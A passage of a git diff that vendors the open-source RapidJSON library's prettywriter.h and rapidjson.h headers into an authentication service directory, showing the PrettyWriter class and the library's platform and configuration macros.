Base; + typedef typename Base::Ch Ch; + + //! Constructor + /*! \param os Output stream. + \param allocator User supplied allocator. If it is null, it will create a private one. + \param levelDepth Initial capacity of stack. + */ + explicit PrettyWriter(OutputStream& os, StackAllocator* allocator = 0, size_t levelDepth = Base::kDefaultLevelDepth) : + Base(os, allocator, levelDepth), indentChar_(' '), indentCharCount_(4), formatOptions_(kFormatDefault) {} + + + explicit PrettyWriter(StackAllocator* allocator = 0, size_t levelDepth = Base::kDefaultLevelDepth) : + Base(allocator, levelDepth), indentChar_(' '), indentCharCount_(4), formatOptions_(kFormatDefault) {} + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + PrettyWriter(PrettyWriter&& rhs) : + Base(std::forward(rhs)), indentChar_(rhs.indentChar_), indentCharCount_(rhs.indentCharCount_), formatOptions_(rhs.formatOptions_) {} +#endif + + //! Set custom indentation. + /*! \param indentChar Character for indentation. Must be whitespace character (' ', '\\t', '\\n', '\\r'). + \param indentCharCount Number of indent characters for each indentation level. + \note The default indentation is 4 spaces. + */ + PrettyWriter& SetIndent(Ch indentChar, unsigned indentCharCount) { + RAPIDJSON_ASSERT(indentChar == ' ' || indentChar == '\t' || indentChar == '\n' || indentChar == '\r'); + indentChar_ = indentChar; + indentCharCount_ = indentCharCount; + return *this; + } + + //! Set pretty writer formatting options. + /*! \param options Formatting options. + */ + PrettyWriter& SetFormatOptions(PrettyFormatOptions options) { + formatOptions_ = options; + return *this; + } + + /*! @name Implementation of Handler + \see Handler + */ + //@{ + + bool Null() { PrettyPrefix(kNullType); return Base::EndValue(Base::WriteNull()); } + bool Bool(bool b) { PrettyPrefix(b ? kTrueType : kFalseType); return Base::EndValue(Base::WriteBool(b)); } + bool Int(int i) { PrettyPrefix(kNumberType); return Base::EndValue(Base::WriteInt(i)); } + bool Uint(unsigned u) { PrettyPrefix(kNumberType); return Base::EndValue(Base::WriteUint(u)); } + bool Int64(int64_t i64) { PrettyPrefix(kNumberType); return Base::EndValue(Base::WriteInt64(i64)); } + bool Uint64(uint64_t u64) { PrettyPrefix(kNumberType); return Base::EndValue(Base::WriteUint64(u64)); } + bool Double(double d) { PrettyPrefix(kNumberType); return Base::EndValue(Base::WriteDouble(d)); } + + bool RawNumber(const Ch* str, SizeType length, bool copy = false) { + RAPIDJSON_ASSERT(str != 0); + (void)copy; + PrettyPrefix(kNumberType); + return Base::EndValue(Base::WriteString(str, length)); + } + + bool String(const Ch* str, SizeType length, bool copy = false) { + RAPIDJSON_ASSERT(str != 0); + (void)copy; + PrettyPrefix(kStringType); + return Base::EndValue(Base::WriteString(str, length)); + } + +#if RAPIDJSON_HAS_STDSTRING + bool String(const std::basic_string& str) { + return String(str.data(), SizeType(str.size())); + } +#endif + + bool StartObject() { + PrettyPrefix(kObjectType); + new (Base::level_stack_.template Push()) typename Base::Level(false); + return Base::WriteStartObject(); + } + + bool Key(const Ch* str, SizeType length, bool copy = false) { return String(str, length, copy); } + +#if RAPIDJSON_HAS_STDSTRING + bool Key(const std::basic_string& str) { + return Key(str.data(), SizeType(str.size())); + } +#endif + + bool EndObject(SizeType memberCount = 0) { + (void)memberCount; + RAPIDJSON_ASSERT(Base::level_stack_.GetSize() >= sizeof(typename Base::Level)); // not inside an Object + RAPIDJSON_ASSERT(!Base::level_stack_.template Top()->inArray); // currently inside an Array, not Object + RAPIDJSON_ASSERT(0 == Base::level_stack_.template Top()->valueCount % 2); // Object has a Key without a Value + + bool empty = Base::level_stack_.template Pop(1)->valueCount == 0; + + if (!empty) { + Base::os_->Put('\n'); + WriteIndent(); + } + bool ret = Base::EndValue(Base::WriteEndObject()); + (void)ret; + RAPIDJSON_ASSERT(ret == true); + if (Base::level_stack_.Empty()) // end of json text + Base::Flush(); + return true; + } + + bool StartArray() { + PrettyPrefix(kArrayType); + new (Base::level_stack_.template Push()) typename Base::Level(true); + return Base::WriteStartArray(); + } + + bool EndArray(SizeType memberCount = 0) { + (void)memberCount; + RAPIDJSON_ASSERT(Base::level_stack_.GetSize() >= sizeof(typename Base::Level)); + RAPIDJSON_ASSERT(Base::level_stack_.template Top()->inArray); + bool empty = Base::level_stack_.template Pop(1)->valueCount == 0; + + if (!empty && !(formatOptions_ & kFormatSingleLineArray)) { + Base::os_->Put('\n'); + WriteIndent(); + } + bool ret = Base::EndValue(Base::WriteEndArray()); + (void)ret; + RAPIDJSON_ASSERT(ret == true); + if (Base::level_stack_.Empty()) // end of json text + Base::Flush(); + return true; + } + + //@} + + /*! @name Convenience extensions */ + //@{ + + //! Simpler but slower overload. + bool String(const Ch* str) { return String(str, internal::StrLen(str)); } + bool Key(const Ch* str) { return Key(str, internal::StrLen(str)); } + + //@} + + //! Write a raw JSON value. + /*! + For user to write a stringified JSON as a value. + + \param json A well-formed JSON value. It should not contain null character within [0, length - 1] range. + \param length Length of the json. + \param type Type of the root of json. + \note When using PrettyWriter::RawValue(), the result json may not be indented correctly. + */ + bool RawValue(const Ch* json, size_t length, Type type) { + RAPIDJSON_ASSERT(json != 0); + PrettyPrefix(type); + return Base::EndValue(Base::WriteRawValue(json, length)); + } + +protected: + void PrettyPrefix(Type type) { + (void)type; + if (Base::level_stack_.GetSize() != 0) { // this value is not at root + typename Base::Level* level = Base::level_stack_.template Top(); + + if (level->inArray) { + if (level->valueCount > 0) { + Base::os_->Put(','); // add comma if it is not the first element in array + if (formatOptions_ & kFormatSingleLineArray) + Base::os_->Put(' '); + } + + if (!(formatOptions_ & kFormatSingleLineArray)) { + Base::os_->Put('\n'); + WriteIndent(); + } + } + else { // in object + if (level->valueCount > 0) { + if (level->valueCount % 2 == 0) { + Base::os_->Put(','); + Base::os_->Put('\n'); + } + else { + Base::os_->Put(':'); + Base::os_->Put(' '); + } + } + else + Base::os_->Put('\n'); + + if (level->valueCount % 2 == 0) + WriteIndent(); + } + if (!level->inArray && level->valueCount % 2 == 0) + RAPIDJSON_ASSERT(type == kStringType); // if it's in object, then even number should be a name + level->valueCount++; + } + else { + RAPIDJSON_ASSERT(!Base::hasRoot_); // Should only has one and only one root. + Base::hasRoot_ = true; + } + } + + void WriteIndent() { + size_t count = (Base::level_stack_.GetSize() / sizeof(typename Base::Level)) * indentCharCount_; + PutN(*Base::os_, static_cast(indentChar_), count); + } + + Ch indentChar_; + unsigned indentCharCount_; + PrettyFormatOptions formatOptions_; + +private: + // Prohibit copy constructor & assignment operator. + PrettyWriter(const PrettyWriter&); + PrettyWriter& operator=(const PrettyWriter&); +}; + +RAPIDJSON_NAMESPACE_END + +#if defined(__clang__) +RAPIDJSON_DIAG_POP +#endif + +#ifdef __GNUC__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_RAPIDJSON_H_ diff --git a/services/service2/src/auth_service/rapidjson/rapidjson.h b/services/service2/src/auth_service/rapidjson/rapidjson.h new file mode 100644 index 0000000..a4e8953 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/rapidjson.h @@ -0,0 +1,741 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_RAPIDJSON_H_ +#define RAPIDJSON_RAPIDJSON_H_ + +/*!\file rapidjson.h + \brief common definitions and configuration + + \see RAPIDJSON_CONFIG + */ + +/*! \defgroup RAPIDJSON_CONFIG RapidJSON configuration + \brief Configuration macros for library features + + Some RapidJSON features are configurable to adapt the library to a wide + variety of platforms, environments and usage scenarios. Most of the + features can be configured in terms of overridden or predefined + preprocessor macros at compile-time. + + Some additional customization is available in the \ref RAPIDJSON_ERRORS APIs. + + \note These macros should be given on the compiler command-line + (where applicable) to avoid inconsistent values when compiling + different translation units of a single application. + */ + +#include // malloc(), realloc(), free(), size_t +#include // memset(), memcpy(), memmove(), memcmp() + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_VERSION_STRING +// +// ALWAYS synchronize the following 3 macros with corresponding variables in /CMakeLists.txt. +// + +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN +// token stringification +#define RAPIDJSON_STRINGIFY(x) RAPIDJSON_DO_STRINGIFY(x) +#define RAPIDJSON_DO_STRINGIFY(x) #x + +// token concatenation +#define RAPIDJSON_JOIN(X, Y) RAPIDJSON_DO_JOIN(X, Y) +#define RAPIDJSON_DO_JOIN(X, Y) RAPIDJSON_DO_JOIN2(X, Y) +#define RAPIDJSON_DO_JOIN2(X, Y) X##Y +//!@endcond + +/*! \def RAPIDJSON_MAJOR_VERSION + \ingroup RAPIDJSON_CONFIG + \brief Major version of RapidJSON in integer. +*/ +/*! \def RAPIDJSON_MINOR_VERSION + \ingroup RAPIDJSON_CONFIG + \brief Minor version of RapidJSON in integer. +*/ +/*! \def RAPIDJSON_PATCH_VERSION + \ingroup RAPIDJSON_CONFIG + \brief Patch version of RapidJSON in integer. +*/ +/*! \def RAPIDJSON_VERSION_STRING + \ingroup RAPIDJSON_CONFIG + \brief Version of RapidJSON in ".." string format. +*/ +#define RAPIDJSON_MAJOR_VERSION 1 +#define RAPIDJSON_MINOR_VERSION 1 +#define RAPIDJSON_PATCH_VERSION 0 +#define RAPIDJSON_VERSION_STRING \ + RAPIDJSON_STRINGIFY(RAPIDJSON_MAJOR_VERSION.RAPIDJSON_MINOR_VERSION.RAPIDJSON_PATCH_VERSION) + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_NAMESPACE_(BEGIN|END) +/*! \def RAPIDJSON_NAMESPACE + \ingroup RAPIDJSON_CONFIG + \brief provide custom rapidjson namespace + + In order to avoid symbol clashes and/or "One Definition Rule" errors + between multiple inclusions of (different versions of) RapidJSON in + a single binary, users can customize the name of the main RapidJSON + namespace. + + In case of a single nesting level, defining \c RAPIDJSON_NAMESPACE + to a custom name (e.g. \c MyRapidJSON) is sufficient. If multiple + levels are needed, both \ref RAPIDJSON_NAMESPACE_BEGIN and \ref + RAPIDJSON_NAMESPACE_END need to be defined as well: + + \code + // in some .cpp file + #define RAPIDJSON_NAMESPACE my::rapidjson + #define RAPIDJSON_NAMESPACE_BEGIN namespace my { namespace rapidjson { + #define RAPIDJSON_NAMESPACE_END } } + #include "rapidjson/..." + \endcode + + \see rapidjson + */ +/*! \def RAPIDJSON_NAMESPACE_BEGIN + \ingroup RAPIDJSON_CONFIG + \brief provide custom rapidjson namespace (opening expression) + \see RAPIDJSON_NAMESPACE +*/ +/*! \def RAPIDJSON_NAMESPACE_END + \ingroup RAPIDJSON_CONFIG + \brief provide custom rapidjson namespace (closing expression) + \see RAPIDJSON_NAMESPACE +*/ +#ifndef RAPIDJSON_NAMESPACE +#define RAPIDJSON_NAMESPACE rapidjson +#endif +#ifndef RAPIDJSON_NAMESPACE_BEGIN +#define RAPIDJSON_NAMESPACE_BEGIN namespace RAPIDJSON_NAMESPACE { +#endif +#ifndef RAPIDJSON_NAMESPACE_END +#define RAPIDJSON_NAMESPACE_END } +#endif + +/////////////////////////////////////////////////////////////////////////////// +// __cplusplus macro + +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN + +#if defined(_MSC_VER) +#define RAPIDJSON_CPLUSPLUS _MSVC_LANG +#else +#define RAPIDJSON_CPLUSPLUS __cplusplus +#endif + +//!@endcond + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_HAS_STDSTRING + +#ifndef RAPIDJSON_HAS_STDSTRING +#ifdef RAPIDJSON_DOXYGEN_RUNNING +#define RAPIDJSON_HAS_STDSTRING 1 // force generation of documentation +#else +#define RAPIDJSON_HAS_STDSTRING 0 // no std::string support by default +#endif +/*! \def RAPIDJSON_HAS_STDSTRING + \ingroup RAPIDJSON_CONFIG + \brief Enable RapidJSON support for \c std::string + + By defining this preprocessor symbol to \c 1, several convenience functions for using + \ref rapidjson::GenericValue with \c std::string are enabled, especially + for construction and comparison. + + \hideinitializer +*/ +#endif // !defined(RAPIDJSON_HAS_STDSTRING) + +#if RAPIDJSON_HAS_STDSTRING +#include +#endif // RAPIDJSON_HAS_STDSTRING + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_USE_MEMBERSMAP + +/*! \def RAPIDJSON_USE_MEMBERSMAP + \ingroup RAPIDJSON_CONFIG + \brief Enable RapidJSON support for object members handling in a \c std::multimap + + By defining this preprocessor symbol to \c 1, \ref rapidjson::GenericValue object + members are stored in a \c std::multimap for faster lookup and deletion times, a + trade off with a slightly slower insertion time and a small object allocat(or)ed + memory overhead. + + \hideinitializer +*/ +#ifndef RAPIDJSON_USE_MEMBERSMAP +#define RAPIDJSON_USE_MEMBERSMAP 0 // not by default +#endif + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_NO_INT64DEFINE + +/*! \def RAPIDJSON_NO_INT64DEFINE + \ingroup RAPIDJSON_CONFIG + \brief Use external 64-bit integer types. + + RapidJSON requires the 64-bit integer types \c int64_t and \c uint64_t types + to be available at global scope. + + If users have their own definition, define RAPIDJSON_NO_INT64DEFINE to + prevent RapidJSON from defining its own types. +*/ +#ifndef RAPIDJSON_NO_INT64DEFINE +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN +#if defined(_MSC_VER) && (_MSC_VER < 1800) // Visual Studio 2013 +#include "msinttypes/stdint.h" +#include "msinttypes/inttypes.h" +#else +// Other compilers should have this. +#include +#include +#endif +//!@endcond +#ifdef RAPIDJSON_DOXYGEN_RUNNING +#define RAPIDJSON_NO_INT64DEFINE +#endif +#endif // RAPIDJSON_NO_INT64TYPEDEF + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_FORCEINLINE + +#ifndef RAPIDJSON_FORCEINLINE +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN +#if defined(_MSC_VER) && defined(NDEBUG) +#define RAPIDJSON_FORCEINLINE __forceinline +#elif defined(__GNUC__) && __GNUC__ >= 4 && defined(NDEBUG) +#define RAPIDJSON_FORCEINLINE __attribute__((always_inline)) +#else +#define RAPIDJSON_FORCEINLINE +#endif +//!@endcond +#endif // RAPIDJSON_FORCEINLINE + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_ENDIAN +#define RAPIDJSON_LITTLEENDIAN 0 //!< Little endian machine +#define RAPIDJSON_BIGENDIAN 1 //!< Big endian machine + +//! Endianness of the machine. +/*! + \def RAPIDJSON_ENDIAN + \ingroup RAPIDJSON_CONFIG + + GCC 4.6 provided macro for detecting endianness of the target machine. But other + compilers may not have this. User can define RAPIDJSON_ENDIAN to either + \ref RAPIDJSON_LITTLEENDIAN or \ref RAPIDJSON_BIGENDIAN. + + Default detection implemented with reference to + \li https://gcc.gnu.org/onlinedocs/gcc-4.6.0/cpp/Common-Predefined-Macros.html + \li http://www.boost.org/doc/libs/1_42_0/boost/detail/endian.hpp +*/ +#ifndef RAPIDJSON_ENDIAN +// Detect with GCC 4.6's macro +# ifdef __BYTE_ORDER__ +# if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ +# define RAPIDJSON_ENDIAN RAPIDJSON_LITTLEENDIAN +# elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ +# define RAPIDJSON_ENDIAN RAPIDJSON_BIGENDIAN +# else +# error Unknown machine endianness detected. User needs to define RAPIDJSON_ENDIAN. +# endif // __BYTE_ORDER__ +// Detect with GLIBC's endian.h +# elif defined(__GLIBC__) +# include +# if (__BYTE_ORDER == __LITTLE_ENDIAN) +# define RAPIDJSON_ENDIAN RAPIDJSON_LITTLEENDIAN +# elif (__BYTE_ORDER == __BIG_ENDIAN) +# define RAPIDJSON_ENDIAN RAPIDJSON_BIGENDIAN +# else +# error Unknown machine endianness detected. User needs to define RAPIDJSON_ENDIAN. +# endif // __GLIBC__ +// Detect with _LITTLE_ENDIAN and _BIG_ENDIAN macro +# elif defined(_LITTLE_ENDIAN) && !defined(_BIG_ENDIAN) +# define RAPIDJSON_ENDIAN RAPIDJSON_LITTLEENDIAN +# elif defined(_BIG_ENDIAN) && !defined(_LITTLE_ENDIAN) +# define RAPIDJSON_ENDIAN RAPIDJSON_BIGENDIAN +// Detect with architecture macros +# elif defined(__sparc) || defined(__sparc__) || defined(_POWER) || defined(__powerpc__) || defined(__ppc__) || defined(__hpux) || defined(__hppa) || defined(_MIPSEB) || defined(_POWER) || defined(__s390__) +# define RAPIDJSON_ENDIAN RAPIDJSON_BIGENDIAN +# elif defined(__i386__) || defined(__alpha__) || defined(__ia64) || defined(__ia64__) || defined(_M_IX86) || defined(_M_IA64) || defined(_M_ALPHA) || defined(__amd64) || defined(__amd64__) || defined(_M_AMD64) || defined(__x86_64) || defined(__x86_64__) || defined(_M_X64) || defined(__bfin__) +# define RAPIDJSON_ENDIAN RAPIDJSON_LITTLEENDIAN +# elif defined(_MSC_VER) && (defined(_M_ARM) || defined(_M_ARM64)) +# define RAPIDJSON_ENDIAN RAPIDJSON_LITTLEENDIAN +# elif defined(RAPIDJSON_DOXYGEN_RUNNING) +# define RAPIDJSON_ENDIAN +# else +# error Unknown machine endianness detected. User needs to define RAPIDJSON_ENDIAN. +# endif +#endif // RAPIDJSON_ENDIAN + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_64BIT + +//! Whether using 64-bit architecture +#ifndef RAPIDJSON_64BIT +#if defined(__LP64__) || (defined(__x86_64__) && defined(__ILP32__)) || defined(_WIN64) || defined(__EMSCRIPTEN__) +#define RAPIDJSON_64BIT 1 +#else +#define RAPIDJSON_64BIT 0 +#endif +#endif // RAPIDJSON_64BIT + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_ALIGN + +//! Data alignment of the machine. +/*! \ingroup RAPIDJSON_CONFIG + \param x pointer to align + + Some machines require strict data alignment. The default is 8 bytes. + User can customize by defining the RAPIDJSON_ALIGN function macro. +*/ +#ifndef RAPIDJSON_ALIGN +#define RAPIDJSON_ALIGN(x) (((x) + static_cast(7u)) & ~static_cast(7u)) +#endif + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_UINT64_C2 + +//! Construct a 64-bit literal by a pair of 32-bit integer. +/*! + 64-bit literal with or without ULL suffix is prone to compiler warnings. + UINT64_C() is C macro which cause compilation problems. + Use this macro to define 64-bit constants by a pair of 32-bit integer. +*/ +#ifndef RAPIDJSON_UINT64_C2 +#define RAPIDJSON_UINT64_C2(high32, low32) ((static_cast(high32) << 32) | static_cast(low32)) +#endif + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_48BITPOINTER_OPTIMIZATION + +//! Use only lower 48-bit address for some pointers. +/*! + \ingroup RAPIDJSON_CONFIG + + This optimization uses the fact that current X86-64 architecture only implement lower 48-bit virtual address. + The higher 16-bit can be used for storing other data. + \c GenericValue uses this optimization to reduce its size form 24 bytes to 16 bytes in 64-bit architecture. +*/ +#ifndef RAPIDJSON_48BITPOINTER_OPTIMIZATION +#if defined(__amd64__) || defined(__amd64) || defined(__x86_64__) || defined(__x86_64) || defined(_M_X64) || defined(_M_AMD64) +#define RAPIDJSON_48BITPOINTER_OPTIMIZATION 1 +#else +#define RAPIDJSON_48BITPOINTER_OPTIMIZATION 0 +#endif +#endif // RAPIDJSON_48BITPOINTER_OPTIMIZATION + +#if RAPIDJSON_48BITPOINTER_OPTIMIZATION == 1 +#if RAPIDJSON_64BIT != 1 +#error RAPIDJSON_48BITPOINTER_OPTIMIZATION can only be set to 1 when RAPIDJSON_64BIT=1 +#endif +#define RAPIDJSON_SETPOINTER(type, p, x) (p = reinterpret_cast((reinterpret_cast(p) & static_cast(RAPIDJSON_UINT64_C2(0xFFFF0000, 0x00000000))) | reinterpret_cast(reinterpret_cast(x)))) +#define RAPIDJSON_GETPOINTER(type, p) (reinterpret_cast(reinterpret_cast(p) & static_cast(RAPIDJSON_UINT64_C2(0x0000FFFF, 0xFFFFFFFF)))) +#else +#define RAPIDJSON_SETPOINTER(type, p, x) (p = (x)) +#define RAPIDJSON_GETPOINTER(type, p) (p) +#endif + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_SSE2/RAPIDJSON_SSE42/RAPIDJSON_NEON/RAPIDJSON_SIMD + +/*! \def RAPIDJSON_SIMD + \ingroup RAPIDJSON_CONFIG + \brief Enable SSE2/SSE4.2/Neon optimization. + + RapidJSON supports optimized implementations for some parsing operations + based on the SSE2, SSE4.2 or NEon SIMD extensions on modern Intel + or ARM compatible processors. + + To enable these optimizations, three different symbols can be defined; + \code + // Enable SSE2 optimization. + #define RAPIDJSON_SSE2 + + // Enable SSE4.2 optimization. + #define RAPIDJSON_SSE42 + \endcode + + // Enable ARM Neon optimization. + #define RAPIDJSON_NEON + \endcode + + \c RAPIDJSON_SSE42 takes precedence over SSE2, if both are defined. + + If any of these symbols is defined, RapidJSON defines the macro + \c RAPIDJSON_SIMD to indicate the availability of the optimized code. +*/ +#if defined(RAPIDJSON_SSE2) || defined(RAPIDJSON_SSE42) \ + || defined(RAPIDJSON_NEON) || defined(RAPIDJSON_DOXYGEN_RUNNING) +#define RAPIDJSON_SIMD +#endif + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_NO_SIZETYPEDEFINE + +#ifndef RAPIDJSON_NO_SIZETYPEDEFINE +/*! \def RAPIDJSON_NO_SIZETYPEDEFINE + \ingroup RAPIDJSON_CONFIG + \brief User-provided \c SizeType definition. + + In order to avoid using 32-bit size types for indexing strings and arrays, + define this preprocessor symbol and provide the type rapidjson::SizeType + before including RapidJSON: + \code + #define RAPIDJSON_NO_SIZETYPEDEFINE + namespace rapidjson { typedef ::std::size_t SizeType; } + #include "rapidjson/..." + \endcode + + \see rapidjson::SizeType +*/ +#ifdef RAPIDJSON_DOXYGEN_RUNNING +#define RAPIDJSON_NO_SIZETYPEDEFINE +#endif +RAPIDJSON_NAMESPACE_BEGIN +//! Size type (for string lengths, array sizes, etc.) +/*! RapidJSON uses 32-bit array/string indices even on 64-bit platforms, + instead of using \c size_t. Users may override the SizeType by defining + \ref RAPIDJSON_NO_SIZETYPEDEFINE. +*/ +typedef unsigned SizeType; +RAPIDJSON_NAMESPACE_END +#endif + +// always import std::size_t to rapidjson namespace +RAPIDJSON_NAMESPACE_BEGIN +using std::size_t; +RAPIDJSON_NAMESPACE_END + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_ASSERT + +//! Assertion. +/*! \ingroup RAPIDJSON_CONFIG + By default, rapidjson uses C \c assert() for internal assertions. + User can override it by defining RAPIDJSON_ASSERT(x) macro. + + \note Parsing errors are handled and can be customized by the + \ref RAPIDJSON_ERRORS APIs. +*/ +#ifndef RAPIDJSON_ASSERT +#include +#define RAPIDJSON_ASSERT(x) assert(x) +#endif // RAPIDJSON_ASSERT + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_STATIC_ASSERT + +// Prefer C++11 static_assert, if available +#ifndef RAPIDJSON_STATIC_ASSERT +#if RAPIDJSON_CPLUSPLUS >= 201103L || ( defined(_MSC_VER) && _MSC_VER >= 1800 ) +#define RAPIDJSON_STATIC_ASSERT(x) \ + static_assert(x, RAPIDJSON_STRINGIFY(x)) +#endif // C++11 +#endif // RAPIDJSON_STATIC_ASSERT + +// Adopt C++03 implementation from boost +#ifndef RAPIDJSON_STATIC_ASSERT +#ifndef __clang__ +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN +#endif +RAPIDJSON_NAMESPACE_BEGIN +template struct STATIC_ASSERTION_FAILURE; +template <> struct STATIC_ASSERTION_FAILURE { enum { value = 1 }; }; +template struct StaticAssertTest {}; +RAPIDJSON_NAMESPACE_END + +#if defined(__GNUC__) || defined(__clang__) +#define RAPIDJSON_STATIC_ASSERT_UNUSED_ATTRIBUTE __attribute__((unused)) +#else +#define RAPIDJSON_STATIC_ASSERT_UNUSED_ATTRIBUTE +#endif +#ifndef __clang__ +//!@endcond +#endif + +/*! \def RAPIDJSON_STATIC_ASSERT + \brief (Internal) macro to check for conditions at compile-time + \param x compile-time condition + \hideinitializer + */ +#define RAPIDJSON_STATIC_ASSERT(x) \ + typedef ::RAPIDJSON_NAMESPACE::StaticAssertTest< \ + sizeof(::RAPIDJSON_NAMESPACE::STATIC_ASSERTION_FAILURE)> \ + RAPIDJSON_JOIN(StaticAssertTypedef, __LINE__) RAPIDJSON_STATIC_ASSERT_UNUSED_ATTRIBUTE +#endif // RAPIDJSON_STATIC_ASSERT + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_LIKELY, RAPIDJSON_UNLIKELY + +//! Compiler branching hint for expression with high probability to be true. +/*! + \ingroup RAPIDJSON_CONFIG + \param x Boolean expression likely to be true. +*/ +#ifndef RAPIDJSON_LIKELY +#if defined(__GNUC__) || defined(__clang__) +#define RAPIDJSON_LIKELY(x) __builtin_expect(!!(x), 1) +#else +#define RAPIDJSON_LIKELY(x) (x) +#endif +#endif + +//! Compiler branching hint for expression with low probability to be true. +/*! + \ingroup RAPIDJSON_CONFIG + \param x Boolean expression unlikely to be true. +*/ +#ifndef RAPIDJSON_UNLIKELY +#if defined(__GNUC__) || defined(__clang__) +#define RAPIDJSON_UNLIKELY(x) __builtin_expect(!!(x), 0) +#else +#define RAPIDJSON_UNLIKELY(x) (x) +#endif +#endif + +/////////////////////////////////////////////////////////////////////////////// +// Helpers + +//!@cond RAPIDJSON_HIDDEN_FROM_DOXYGEN + +#define RAPIDJSON_MULTILINEMACRO_BEGIN do { +#define RAPIDJSON_MULTILINEMACRO_END \ +} while((void)0, 0) + +// adopted from Boost +#define RAPIDJSON_VERSION_CODE(x,y,z) \ + (((x)*100000) + ((y)*100) + (z)) + +#if defined(__has_builtin) +#define RAPIDJSON_HAS_BUILTIN(x) __has_builtin(x) +#else +#define RAPIDJSON_HAS_BUILTIN(x) 0 +#endif + +/////////////////////////////////////////////////////////////////////////////// +// RAPIDJSON_DIAG_PUSH/POP, RAPIDJSON_DIAG_OFF + +#if defined(__GNUC__) +#define RAPIDJSON_GNUC \ + RAPIDJSON_VERSION_CODE(__GNUC__,__GNUC_MINOR__,__GNUC_PATCHLEVEL__) +#endif + +#if defined(__clang__) || (defined(RAPIDJSON_GNUC) && RAPIDJSON_GNUC >= RAPIDJSON_VERSION_CODE(4,2,0)) + +#define RAPIDJSON_PRAGMA(x) _Pragma(RAPIDJSON_STRINGIFY(x)) +#define RAPIDJSON_DIAG_PRAGMA(x) RAPIDJSON_PRAGMA(GCC diagnostic x) +#define RAPIDJSON_DIAG_OFF(x) \ + RAPIDJSON_DIAG_PRAGMA(ignored RAPIDJSON_STRINGIFY(RAPIDJSON_JOIN(-W,x))) + +// push/pop support in Clang and GCC>=4.6 +#if defined(__clang__) || (defined(RAPIDJSON_GNUC) && RAPIDJSON_GNUC >= RAPIDJSON_VERSION_CODE(4,6,0)) +#define RAPIDJSON_DIAG_PUSH RAPIDJSON_DIAG_PRAGMA(push) +#define RAPIDJSON_DIAG_POP RAPIDJSON_DIAG_PRAGMA(pop) +#else // GCC >= 4.2, < 4.6 +#define RAPIDJSON_DIAG_PUSH /* ignored */ +#define RAPIDJSON_DIAG_POP /* ignored */ +#endif + +#elif defined(_MSC_VER) + +// pragma (MSVC specific) +#define RAPIDJSON_PRAGMA(x) __pragma(x) +#define RAPIDJSON_DIAG_PRAGMA(x) RAPIDJSON_PRAGMA(warning(x)) + +#define RAPIDJSON_DIAG_OFF(x) RAPIDJSON_DIAG_PRAGMA(disable: x) +#define RAPIDJSON_DIAG_PUSH RAPIDJSON_DIAG_PRAGMA(push) +#define RAPIDJSON_DIAG_POP RAPIDJSON_DIAG_PRAGMA(pop) + +#else + +#define RAPIDJSON_DIAG_OFF(x) /* ignored */ +#define RAPIDJSON_DIAG_PUSH /* ignored */ +#define RAPIDJSON_DIAG_POP /* ignored */ + +#endif // RAPIDJSON_DIAG_* + +/////////////////////////////////////////////////////////////////////////////// +// C++11 features + +#ifndef RAPIDJSON_HAS_CXX11 +#define RAPIDJSON_HAS_CXX11 (RAPIDJSON_CPLUSPLUS >= 201103L) +#endif + +#ifndef RAPIDJSON_HAS_CXX11_RVALUE_REFS +#if RAPIDJSON_HAS_CXX11 +#define RAPIDJSON_HAS_CXX11_RVALUE_REFS 1 +#elif defined(__clang__) +#if __has_feature(cxx_rvalue_references) && \ + (defined(_MSC_VER) || defined(_LIBCPP_VERSION) || defined(__GLIBCXX__) && __GLIBCXX__ >= 20080306) +#define RAPIDJSON_HAS_CXX11_RVALUE_REFS 1 +#else +#define RAPIDJSON_HAS_CXX11_RVALUE_REFS 0 +#endif +#elif (defined(RAPIDJSON_GNUC) && (RAPIDJSON_GNUC >= RAPIDJSON_VERSION_CODE(4,3,0)) && defined(__GXX_EXPERIMENTAL_CXX0X__)) || \ + (defined(_MSC_VER) && _MSC_VER >= 1600) || \ + (defined(__SUNPRO_CC) && __SUNPRO_CC >= 0x5140 && defined(__GXX_EXPERIMENTAL_CXX0X__)) + +#define RAPIDJSON_HAS_CXX11_RVALUE_REFS 1 +#else +#define RAPIDJSON_HAS_CXX11_RVALUE_REFS 0 +#endif +#endif // RAPIDJSON_HAS_CXX11_RVALUE_REFS + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS +#include // std::move +#endif + +#ifndef RAPIDJSON_HAS_CXX11_NOEXCEPT +#if RAPIDJSON_HAS_CXX11 +#define RAPIDJSON_HAS_CXX11_NOEXCEPT 1 +#elif defined(__clang__) +#define RAPIDJSON_HAS_CXX11_NOEXCEPT __has_feature(cxx_noexcept) +#elif 